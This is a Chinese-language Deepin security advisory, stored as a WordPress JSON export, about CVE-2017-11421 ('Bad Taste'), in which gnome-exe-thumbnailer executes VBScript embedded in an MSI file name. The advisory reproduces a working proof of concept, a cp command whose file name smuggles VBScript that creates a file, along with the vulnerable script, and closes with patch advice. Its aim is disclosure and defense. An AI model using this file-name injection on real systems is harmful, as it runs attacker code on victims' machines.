{"id":24512,"date":"2017-07-28T17:03:21","date_gmt":"2017-07-28T09:03:21","guid":{"rendered":"https:\/\/www.deepin.org\/?p=24512"},"modified":"2017-09-05T14:03:47","modified_gmt":"2017-09-05T06:03:47","slug":"deepin-security-update-urgently-fixed-bad-taste-security-vulnerability-cve-2017-11421-in-gnome-files","status":"publish","type":"post","link":"https:\/\/www.deepin.org\/zh\/deepin-security-update-urgently-fixed-bad-taste-security-vulnerability-cve-2017-11421-in-gnome-files\/","title":{"rendered":"\u6df1\u5ea6\u5b89\u5168\u66f4\u65b0\u2014\u2014GNOME Files\u4e2d\u7684Bad Taste\u6f0f\u6d1e CVE-2017-11421\u7d27\u6025\u4fee\u590d"},"content":{"rendered":"<p style=\"padding-left: 30px;\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-24517\" src=\"https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6.jpg\" alt=\"zh\" width=\"749\" height=\"321\" srcset=\"https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6.jpg 749w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-600x257.jpg 600w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-150x64.jpg 150w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-300x129.jpg 300w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-24x10.jpg 24w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-36x15.jpg 36w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-48x21.jpg 48w\" sizes=\"(max-width: 749px) 100vw, 749px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"aligncenter size-full wp-image-24517\" src=\"https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6.jpg\" alt=\"zh\" width=\"749\" height=\"321\" srcset=\"https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6.jpg 749w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-600x257.jpg 600w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-150x64.jpg 150w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-300x129.jpg 300w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-24x10.jpg 24w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-36x15.jpg 36w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh-6-48x21.jpg 48w\" sizes=\"(max-width: 749px) 100vw, 749px\" \/><\/p>\n<p>\u5fb7\u56fd\u5b89\u5168\u7814\u7a76\u4e13\u5bb6Nils Dagsson Moskopp\u53d1\u73b0\u4e86\u4e00\u4e2a\u540d\u53eb\u201cBad Taste\u201d\u7684\u6f0f\u6d1e\uff08<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-11421\" rel=\"nofollow\">CVE-2017-11421<\/a>\uff09\uff0c\u800c\u8fd9\u4e2a\u6f0f\u6d1e\u5c06\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u6076\u610fMSI\u6587\u4ef6\u5728Linux\u5e73\u53f0\u4e0a\u8fd0\u884c\u4efb\u610f\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<h2>GNOME Files\u6587\u4ef6\u7ba1\u7406\u5668\u4e2d\u7684\u201cBad Taste\u201d\u6f0f\u6d1e<\/h2>\n<p>\u8fd9\u4e2a\u6f0f\u6d1e\u5b58\u5728\u4e8egnome-exe-thumbnailer\u4e4b\u4e2d\uff0c\u8fd9\u662f<a href=\"https:\/\/en.wikipedia.org\/wiki\/GNOME_Files\" rel=\"nofollow\">GNOME Files<\/a>\u6240\u7528\u7684\u7b2c\u4e09\u65b9thumbnailer\uff08\u7f29\u7565\u56fe\u5904\u7406\u63a7\u4ef6\uff09\uff0c\u8be5\u7ec4\u4ef6\u4e4b\u524d\u540d\u53ebNautilus\uff0c\u5b83\u4e5f\u662f\u4f7f\u7528\u4e86GNOME\u4f5c\u4e3a\u56fe\u5f62\u684c\u9762\u7684Linux\u53d1\u884c\u7248\u7cfb\u7edf\u6240\u4f7f\u7528\u7684\u9ed8\u8ba4\u6587\u4ef6\u7ba1\u7406\u5668\u3002<\/p>\n<p>Moskopp\u901a\u8fc7\u7814\u7a76\u53d1\u73b0\uff0c\u4ed6\u53ef\u4ee5\u5728MSI\u6587\u4ef6\u4e2d\u9690\u85cf\u6076\u610f\u7684VBScript\u4ee3\u7801\u3002\u5f53\u7528\u6237\u8bbf\u95ee\u4e86\u4ed6\u7535\u8111\u4e2d\u67d0\u4e2a\u4fdd\u5b58\u6709\u8fd9\u79cd\u6076\u610fMSI\u6587\u4ef6\u7684\u6587\u4ef6\u5939\u65f6\uff0cGNOME Files\u4fbf\u4f1a\u81ea\u52a8\u89e3\u6790\u8be5\u6587\u4ef6\u5e76\u4ece\u6587\u4ef6\u5185\u5bb9\u4e2d\u63d0\u53d6\u51fa\u4e00\u4e2a\u56fe\u6807\uff0c\u7136\u540e\u5c06\u8fd9\u4e2a\u56fe\u6807\u663e\u793a\u5728\u6587\u4ef6\u6d4f\u89c8\u5668\u7a97\u53e3\u4e2d\u3002<\/p>\n<p>\u95ee\u9898\u5c31\u5728\u4e8e\uff0c\u5f53\u63a7\u4ef6\u5728\u89e3\u6790MSI\u6587\u4ef6\u5e76\u5bfb\u627e\u5176\u56fe\u6807\u7684\u65f6\u5019\uff0cthumbnailer\u811a\u672c\u8fd8\u4f1a\u8bfb\u53d6\u6587\u4ef6\u540d\u5e76\u6267\u884c\u5176\u4e2d\u7684\u4ee3\u7801\u3002\u901a\u8fc7\u5206\u6790\u53d1\u73b0\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u5b58\u5728\u4e8ethumbnailer\u7684\u914d\u7f6e\u6587\u4ef6\u4e2d\uff0c\u6587\u4ef6\u8def\u5f84\u4e3a\/usr\/share\/thumbnailers\uff0c\u5f53GNOME Files\u5728\u5bf9Linux\u8ba1\u7b97\u673a\u4e2d\u5b58\u50a8\u7684\u6587\u4ef6\u8fdb\u884c\u6587\u4ef6\u89e3\u6790\u65f6\uff0c\u4f1a\u5728\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u5b58\u50a8\u76ee\u6807\u6587\u4ef6\u7684\u56fe\u6807\u6216\u751f\u6210\u76f8\u5e94\u7684\u7f29\u7565\u56fe\u3002<\/p>\n<p>\u4e3a\u4e86\u6210\u529f\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u9996\u5148\u9700\u8981\u91c7\u7528\u7c7b\u4f3c\u7f51\u7edc\u9493\u9c7c\u4e4b\u7c7b\u7684\u65b9\u6cd5\u6765\u6b3a\u9a97\u7528\u6237\u4e0b\u8f7d\u4e00\u4e2a\u6076\u610fMSI\u6587\u4ef6\uff0c\u4f46\u8fd9\u5c31\u9700\u8981\u4e00\u4e9b\u6bd4\u8f83\u72e1\u733e\u7684\u793e\u5de5\u6280\u5de7\u4e86\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u653b\u51fb\u8005\u8fd8\u53ef\u4ee5\u5229\u7528Drive-By\u4e0b\u8f7d\u5728\u4e0d\u9700\u8981\u5411\u7528\u6237\u8be2\u95ee\u7684\u60c5\u51b5\u4e0b\u81ea\u52a8\u4e0b\u8f7d\u6076\u610f\u6587\u4ef6\uff0c\u6bd4\u5982\u8bf4Chrome\u5c31\u7ed9\u7528\u6237\u63d0\u4f9b\u4e86\u81ea\u52a8\u4e0b\u8f7d\u9009\u9879\u3002\u5b9e\u9645\u4e0a\uff0c\u5b89\u5168\u7814\u7a76\u4eba\u5458\u65e9\u5728\u5f88\u4e45\u4e4b\u524d\u5c31\u5df2\u7ecf\u63d0\u9192\u8fc7Google\u8fd9\u79cd\u529f\u80fd\u7684\u5371\u9669\u6027\u4e86\uff0c\u800c\u4e14\u76ee\u524d\u6709\u5f88\u591a\u653b\u51fb\u6280\u672f\u90fd\u5229\u7528\u4e86\u8fd9\u79cd\u529f\u80fd\u3002<\/p>\n<h2>\u6f0f\u6d1e\u9a8c\u8bc1PoC<\/h2>\n<p>Moskopp\u8fd8\u4e13\u95e8\u53d1\u5e03\u4e86<a href=\"http:\/\/news.dieweltistgarnichtso.net\/posts\/gnome-thumbnailer-msi-fail.html\" rel=\"nofollow\">PoC\u4ee3\u7801<\/a>\u6765\u6f14\u793aBad Taste\u6f0f\u6d1e\u7684\u6709\u6548\u6027\u3002\u4ed6\u8bbe\u8ba1\u7684PoC\u4ee3\u7801\u4f1a\u5728\u76ee\u6807\u7528\u6237\u7684\u8ba1\u7b97\u673a\u4e2d\u5b58\u653e\u4e00\u4e2a\u540d\u53ebbadtaste.txt\u7684\u7a7a\u6587\u4ef6\uff0c\u4f46\u771f\u6b63\u7684\u6076\u610f\u653b\u51fb\u8005\u80fd\u505a\u7684\u8fd8\u6709\u66f4\u591a\u3002<\/p>\n<h3>\u5b89\u88c5\u4f9d\u8d56\u7ec4\u4ef6<\/h3>\n<p>\u5728Debian GNU\/Linux\u5e73\u53f0\u5b89\u88c5gnome-exe-thumbnailer\u3001nautilus\u548cwixl\u3002wixl\u5305\u7528\u6765\u521b\u5efaMSI\u6587\u4ef6\u5e76\u89e6\u53d1thumbnailer\u3002<\/p>\n<p>\u6ce8\uff1a\u5982\u679cPoC\u65e0\u6cd5\u6b63\u5e38\u6267\u884c\uff0c\u8bf7\u5b89\u88c5winetricks\u5e76\u8fd0\u884c\u547d\u4ee4winetricks wsh56\u6765\u66f4\u65b0<a href=\"https:\/\/de.wikipedia.org\/wiki\/Windows_Script_Host\" rel=\"nofollow\">Windows ScriptHost<\/a>(Windows\u811a\u672c\u4e3b\u673a)\u3002<\/p>\n<h3>\u521b\u5efaMSI\u6587\u4ef6<\/h3>\n<p>\u521b\u5efa\u4e00\u4e2a\u540d\u53ebpoc.xml\u7684\u6587\u4ef6\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"hljs xml\"><span class=\"hljs-meta\">&lt;?xml version=\"1.0\"encoding=\"utf-8\"?&gt;<\/span> <span class=\"hljs-tag\">&lt;<span class=\"hljs-name\">Wixxmlns=\"http:<\/span>\/\/<span class=\"hljs-attr\">schemas.microsoft.com<\/span>\/<span class=\"hljs-attr\">wix<\/span>\/<span class=\"hljs-attr\">2006<\/span>\/<span class=\"hljs-attr\">wi<\/span>\"&gt;<\/span> <span class=\"hljs-tag\">&lt;<span class=\"hljs-name\">Product<\/span> <span class=\"hljs-attr\">Version<\/span>=<span class=\"hljs-string\">\"1.0\"<\/span>\/&gt;<\/span> <span class=\"hljs-tag\">&lt;\/<span class=\"hljs-name\">Wix<\/span>&gt;<\/span> <\/code><\/pre>\n<p>\u6267\u884c\u4e0b\u5217Bouren Shell\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"hljs nginx\"><span class=\"hljs-attribute\">wixl<\/span> -o poc.msi poc.xml\r\ncp poc.msi <span class=\"hljs-string\">\"poc.msi\\\",0):Setfso=CreateObject(\\\"Scripting.FileSystemObject\\\"):Setpoc=fso.CreateTextFile(\\\"badtaste.txt\\\")'.msi\"<\/span> <\/code><\/pre>\n<h3>\u89e6\u53d1\u6267\u884c<\/h3>\n<p>\u5f00\u542fGNOME Files\u5e76\u8fdb\u5165\u4fdd\u5b58\u4e0a\u8ff0MSI\u6587\u4ef6\u7684\u76ee\u5f55\uff0c\u4f60\u5c06\u4f1a\u770b\u5230\u4e00\u4e2a\u540d\u4e3abadtaste.exe\u7684\u7a7a\u6587\u4ef6\u51fa\u73b0\u5728\u76ee\u5f55\u4e2d\u3002<\/p>\n<h3>\u6f0f\u6d1e\u5206\u6790<\/h3>\n<p>\u5f88\u591a\u6587\u4ef6\u7ba1\u7406\u5668\u4f1a\u6839\u636e\u6587\u4ef6\u7684\u683c\u5f0f\u6765\u751f\u6210\u7f29\u7565\u56fe\u3002\u5728GNU\/Linux\u4e2d\uff0c\u4e3a\u4e86\u7ed9\u7279\u5b9a\u6587\u4ef6\u683c\u5f0f\u751f\u6210\u7f29\u7565\u56fe\uff0cGNOME Files\u6587\u4ef6\u7ba1\u7406\u5668\u9700\u8981\u4f7f\u7528\u5230\/usr\/share\/thumbnailers \u76ee\u5f55\u4e0b\u7684thumbnailer\u00a0\u914d\u7f6e\u6587\u4ef6\u3002\u5728\u5b89\u88c5\u4e86gnome-exe-thumbnailer\u00a0\u4e4b\u540e\uff0c\u6587\u4ef6\/usr\/share\/thumbnailers\/exe-dll-msi.thumbnailer\u4e2d\u5c06\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n[Thumbnailer Entry]\n<p>TryExec=<span class=\"hljs-regexp\">\/usr\/bin<\/span><span class=\"hljs-regexp\">\/gnome-exe-thumbnailer<\/span><\/p>\n<p><span class=\"hljs-regexp\">Exec=\/usr<\/span><span class=\"hljs-regexp\">\/bin\/gnome<\/span>-exe-thumbnailer %i %o%u<\/p>\n<p>MimeType=application\/<span class=\"hljs-keyword\">x<\/span>-ms-dos-executable;application\/<span class=\"hljs-keyword\">x<\/span>-msdownload;application\/<span class=\"hljs-keyword\">x<\/span>-msi;application\/<span class=\"hljs-keyword\">x<\/span>-ms-shortcut<\/p>\n<p>\u8fd9\u4e5f\u5c31\u610f\u5473\u7740\uff0c\u65e0\u8bba\u539f\u672c\u5e94\u8be5\u663e\u793a\u7684\u662f\u54ea\u4e00\u79cd\u6587\u4ef6\u683c\u5f0f\uff08EXE\u3001MSI\u3001DLL\u6216LNK\uff09\u7684\u56fe\u6807\uff0cGNOME Files\u90fd\u4f1a\u8c03\u7528\/usr\/bin\/gnome-exe-thumbnailer\u6765\u63d0\u53d6\u51fa\u76ee\u6807\u6587\u4ef6\u4e2d\u5d4c\u5165\u7684\u56fe\u6807\u3002<\/p>\n<p>shell\u811a\u672c\/usr\/bin\/gnome-exe-thumbnailer\u4e2d\u5305\u542b\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"hljs markdown\"><span class=\"hljs-section\"># Get the version number:<\/span> if [[ ${INPUTFILE##*.} = 'msi' ]]\r\nthen\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #Look for the ProductVersion property if user has the Microsoft (R) WindowsScript Host installed:\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ifwhich wine &amp;&amp; grep -v 'Wine placeholder DLL'$HOME\/.wine\/drive_c\/windows\/system32\/cscript.exe\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 then\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #Workaround wine bug #19799: cscript crashes if you call WScript.Arguments(0)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #http:\/\/bugs.winehq.org\/show_bug.cgi?id=19799\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"xml\">&lt;&lt;&lt;\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"hljs-attr\">DimWI<\/span>, <span class=\"hljs-attr\">DB<\/span>, <span class=\"hljs-attr\">View<\/span>, <span class=\"hljs-attr\">Record<\/span> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"hljs-attr\">SetWI<\/span> = <span class=\"hljs-attr\">CreateObject<\/span>(\\\"<span class=\"hljs-attr\">WindowsInstaller.Installer<\/span>\\\") <span class=\"hljs-attr\">Set<\/span> <span class=\"hljs-attr\">DB<\/span> =<span class=\"hljs-string\">WI.OpenDatabase(\\\"$INPUTFILE\\\",0)<\/span> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"hljs-attr\">SetView<\/span> = <span class=\"hljs-attr\">DB.OpenView<\/span>(\\\"<span class=\"hljs-attr\">SELECT<\/span> <span class=\"hljs-attr\">Value<\/span> <span class=\"hljs-attr\">FROM<\/span> <span class=\"hljs-attr\">Property<\/span> <span class=\"hljs-attr\">WHERE<\/span> <span class=\"hljs-attr\">Property<\/span> =<span class=\"hljs-string\">'ProductVersion'<\/span><span class=\"hljs-string\">\\\")<\/span> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"hljs-attr\">View.Execute<\/span> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"hljs-attr\">Wscript.EchoView.Fetch.StringData<\/span>(<span class=\"hljs-attr\">1<\/span>)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \"<span class=\"hljs-attr\">iconv<\/span> <span class=\"hljs-attr\">-f<\/span> <span class=\"hljs-attr\">utf8<\/span> <span class=\"hljs-attr\">-t<\/span> <span class=\"hljs-attr\">unicode<\/span> &gt;<\/span> $TEMPFILE1.vbs\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 VERSION=$(\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 DISPLAY=NONEwine cscript.exe \/\/E:vbs \/\/NoLogo Z:\\\\tmp\\\\${TEMPFILE1##*\/}.vbs 2&gt;\/dev\/null\\\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 |egrep -o '^[<span class=\"hljs-string\">0-9<\/span>]+\\.[<span class=\"hljs-string\">0-9<\/span>]+(\\.[<span class=\"hljs-string\">0-9<\/span>][<span class=\"hljs-symbol\">0-9<\/span>]?)?(beta)?'\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 )\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 else\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #Try to get the version number from extended file properties at least:\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 VERSION=$(\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 file\"$INPUTFILE\" \\\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 |grep -o ', Subject: .*, Author: ' \\\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 |egrep -o '[<span class=\"hljs-string\">0-9<\/span>]+\\.[<span class=\"hljs-string\">0-9<\/span>]+(\\.[<span class=\"hljs-string\">0-9<\/span>][<span class=\"hljs-symbol\">0-9<\/span>]?)?(beta)?' \\\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 |head -1\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 )\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 fi <\/code><\/pre>\n<h2>\u5e94\u5bf9\u65b9\u6848<\/h2>\n<p>\u5728\u6df1\u5ea6\u64cd\u4f5c\u7cfb\u7edf15.4.1\u76842017.7.27\u66f4\u65b0\u4e2d\u5df2\u7ecf\u4fee\u590d\u4e86\u8fd9\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002<\/p>\n<p>\u8bf7\u5404\u4f4d\u5c3d\u5feb\u66f4\u65b0\u7cfb\u7edf\u4ee5\u83b7\u53d6\u6f0f\u6d1e\u4fee\u590d\u8865\u4e01\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\u6ce8\uff1a\u76f8\u5173\u5b89\u5168\u66f4\u65b0\u8be6\u60c5\u53c2\u8003\u81eahttp:\/\/www.52bug.cn\/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF\/3462.html<\/p>\n<p><img loading=\"lazy\" class=\"size-full wp-image-24518 alignleft\" src=\"https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh_s-4.jpg\" alt=\"zh_s\" width=\"187\" height=\"96\" srcset=\"https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh_s-4.jpg 187w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh_s-4-150x77.jpg 150w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh_s-4-24x12.jpg 24w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh_s-4-36x18.jpg 36w, https:\/\/www.deepin.org\/wp-content\/uploads\/2017\/07\/zh_s-4-48x25.jpg 48w\" sizes=\"(max-width: 187px) 100vw, 187px\" \/>","protected":false},"excerpt":{"rendered":"<p>\u5fb7\u56fd\u5b89\u5168\u7814\u7a76\u4e13\u5bb6Nils Dagsson Moskopp\u53d1\u73b0\u4e86\u4e00\u4e2a\u540d\u53eb\u201cBad Taste\u201d\u7684\u6f0f\u6d1e\uff08CVE-2017-11421\uff09\uff0c\u800c\u8fd9\u4e2a\u6f0f\u6d1e\u5c06\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u6076\u610fMSI\u6587\u4ef6\u5728Linux\u5e73\u53f0\u4e0a\u8fd0\u884c\u4efb\u610f\u7684\u6076\u610f\u4ee3\u7801\u3002 GNOME Files\u6587\u4ef6\u7ba1\u7406\u5668\u4e2d\u7684\u201cBad Taste\u201d\u6f0f\u6d1e \u8fd9\u4e2a\u6f0f\u6d1e\u5b58\u5728\u4e8egnome-exe-thumbnailer\u4e4b\u4e2d\uff0c\u8fd9\u662fGNOME Files\u6240\u7528\u7684\u7b2c\u4e09\u65b9thumbnailer\uff08 ...<a href=https:\/\/www.deepin.org\/zh\/deepin-security-update-urgently-fixed-bad-taste-security-vulnerability-cve-2017-11421-in-gnome-files\/>\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":141,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[75,93],"tags":[],"_links":{"self":[{"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/posts\/24512"}],"collection":[{"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/users\/141"}],"replies":[{"embeddable":true,"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/comments?post=24512"}],"version-history":[{"count":15,"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/posts\/24512\/revisions"}],"predecessor-version":[{"id":25408,"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/posts\/24512\/revisions\/25408"}],"wp:attachment":[{"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/media?parent=24512"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/categories?post=24512"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.deepin.org\/zh\/wp-json\/wp\/v2\/tags?post=24512"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}